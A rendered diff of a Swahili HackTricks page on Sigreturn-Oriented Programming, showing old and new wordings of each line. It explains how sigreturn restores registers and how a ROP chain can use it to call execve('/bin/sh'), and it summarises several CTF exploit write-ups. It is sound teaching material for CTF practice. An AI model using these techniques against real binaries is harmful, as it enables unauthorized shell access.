**`Sigreturn`** ni **syscall** maalum ambayo kimsingi hutumiwa kusafisha baada ya kikundi cha ishara kumaliza utekelezaji wake. Ishara ni mapumziko yanayotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kumaanisha kuwa hali isiyo ya kawaida imejitokeza. Wakati programu inapokea ishara, inasitisha kwa muda kazi yake ya sasa kushughulikia ishara na **mchakato wa ishara**, kazi maalum iliyoundwa kushughulikia ishara.
|
||||
|
||||
Baada ya kikamataji cha ishara kukamilisha, programu inahitaji **kuendelea na hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa kikamataji cha ishara** na kurejesha hali ya programu kwa kusafisha fremu ya steki (sehemu ya kumbukumbu inayohifadhi wito wa kazi na pembejeo za ndani) ambayo ilitumiwa na kikamataji cha ishara.
|
||||
Baada ya mchakato wa ishara kukamilika, programu inahitaji **kuendelea na hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa mchakato wa ishara** na kurejesha hali ya programu kwa kusafisha fremu ya steki (sehemu ya kumbukumbu inayohifadhi wito wa kazi na pembejeo za ndani) ambayo ilitumiwa na mchakato wa ishara.
|
||||
|
||||
Sehemu inayovutia ni jinsi **`sigreturn`** inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi **thamani zote za rejista za CPU** kwenye steki. Ishara haizuiwi tena, **`sigreturn` inapitisha thamani hizi kutoka kwenye steki**, ikirejesha kwa ufanisi rejista za CPU kwenye hali yake kabla ya ishara kushughulikiwa. Hii ni pamoja na rejista ya kidole cha steki (RSP), ambayo inaelekeza kwenye sehemu ya juu ya sasa ya steki.
|
||||
Sehemu inayovutia ni jinsi **`sigreturn`** inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi **thamani zote za rejista za CPU** kwenye steki. Ishara haizuiwi tena, **`sigreturn` inapitisha thamani hizi kutoka kwenye steki**, ikirejesha kwa ufanisi rejista za CPU kwa hali yake kabla ya ishara kushughulikiwa. Hii ni pamoja na rejista ya kidole cha steki (RSP), ambayo inaelekeza kwenye sehemu ya juu ya steki ya sasa.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kuita syscall **`sigreturn`** kutoka kwa mnyororo wa ROP na **kuongeza thamani za rejista** tungependa iweze kuiweka kwenye **steki** inawezekana **kudhibiti** thamani zote za rejista na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
|
||||
Kuita syscall **`sigreturn`** kutoka kwa mnyororo wa ROP na **kuongeza thamani za rejista** tungependa iweke kwenye **steki** inawezekana **kudhibiti** thamani zote za rejista na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
|
||||
{% endhint %}
|
||||
|
||||
Tafadhali angalia jinsi hii itakuwa **aina ya Ret2syscall** ambayo inafanya iwe rahisi kudhibiti vigezo vya kuita Ret2syscalls nyingine:
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ikiwa una hamu hii ni **muundo wa sigcontext** uliohifadhiwa kwenye steki kwa kupona thamani baadaye (mtaalam kutoka [**hapa**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
Ikiwa una hamu hii ni **muundo wa sigcontext** uliohifadhiwa kwenye steki kwa kupona baadaye thamani (mtaala kutoka [**hapa**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
|
|
@ -139,10 +139,24 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* Programu ya ushirikiano wa kisasa inayoruhusu **kuandika kwenye steki** na kisha kuita **syscall ya `sigreturn`**. Inawezekana kuandika kwenye steki [**ret2syscall**](rop-syscall-execv.md) kupitia muundo wa **sigreturn** na kusoma bendera ambayo iko ndani ya kumbukumbu ya programu ya ushirikiano.
|
||||
* Programu ya ushirikiano wa kisasa inayoruhusu **kuandika kwenye stack** na kisha kuita **syscall ya `sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](rop-syscall-execv/) kupitia muundo wa **sigreturn** na kusoma bendera ambayo iko ndani ya kumbukumbu ya programu ya ushirikiano.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* Programu ya ushirikiano wa kisasa inayoruhusu **kuandika kwenye steki** na kisha kuita **syscall ya `sigreturn`**. Inawezekana kuandika kwenye steki [**ret2syscall**](rop-syscall-execv.md) kupitia muundo wa **sigreturn** (programu ya ushirikiano ina string `/bin/sh`).
|
||||
* Programu ya ushirikiano wa kisasa inayoruhusu **kuandika kwenye stack** na kisha kuita **syscall ya `sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](rop-syscall-execv/) kupitia muundo wa **sigreturn** (programu ya ushirikiano ina string `/bin/sh`).
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* Biti 64, hakuna relro, hakuna canary, nx, hakuna pie. Uvujaji rahisi wa steki unaoabuse kazi ya `gets` bila vifaa vya kutekeleza [**ret2syscall**](rop-syscall-execv.md). Mnyororo wa ROP unaandika `/bin/sh` katika `.bss` kwa kuita tena gets, unatumia kazi ya **`alarm`** kuweka eax kuwa `0xf` ili kuita **SROP** na kutekeleza kikao.
|
||||
* Biti 64, hakuna relro, hakuna canary, nx, hakuna pie. Kuvuja kwa buffer rahisi ikichangamkia kazi ya `gets` bila vifaa vya kutekeleza [**ret2syscall**](rop-syscall-execv/). Mnyororo wa ROP unaandika `/bin/sh` katika `.bss` kwa kuita tena gets, inatumia kazi ya **`alarm`** kuweka eax kuwa `0xf` ili kuita **SROP** na kutekeleza kifaa.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* Programu ya biti 64, hakuna relro, hakuna canary, nx, hakuna pie. Mchakato unaruhusu kuandika kwenye steki, kudhibiti vijenzi kadhaa, na kuita syscall na kisha kuita `exit`. Syscall iliyochaguliwa ni `sigreturn` ambayo itaweka vijenzi na kuhamisha `eip` kuita maagizo ya syscall ya awali na kutekeleza `memprotect` kuweka nafasi ya programu kuwa `rwx` na kuweka ESP katika nafasi ya programu. Kufuata mchakato, programu itaita kusoma kwenye ESP tena, lakini katika kesi hii ESP itakuwa inaelekeza kwa maagizo yanayofuata hivyo kupitisha shellcode itaandika kama maagizo yanayofuata na kuyatekeleza.
|
||||
* Programu ya ushirikiano wa biti 64, hakuna relro, hakuna canary, nx, hakuna pie. Mchakato unaruhusu kuandika kwenye stack, kudhibiti vijenzi kadhaa, na kuita syscall na kisha kuita `exit`. Kifaa kilichochaguliwa ni `sigreturn` ambayo itaweka vijenzi na kuhamisha `eip` kuita maagizo ya awali ya syscall na kutekeleza `memprotect` kuweka nafasi ya programu kuwa `rwx` na kuweka ESP katika nafasi ya programu. Kufuata mchakato, programu itaita kusoma kwenye ESP tena, lakini katika kesi hii ESP itakuwa inaelekeza kwa maagizo yanayofuata hivyo kupitisha shellcode itaandika kama maagizo yanayofuata na kuyatekeleza.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue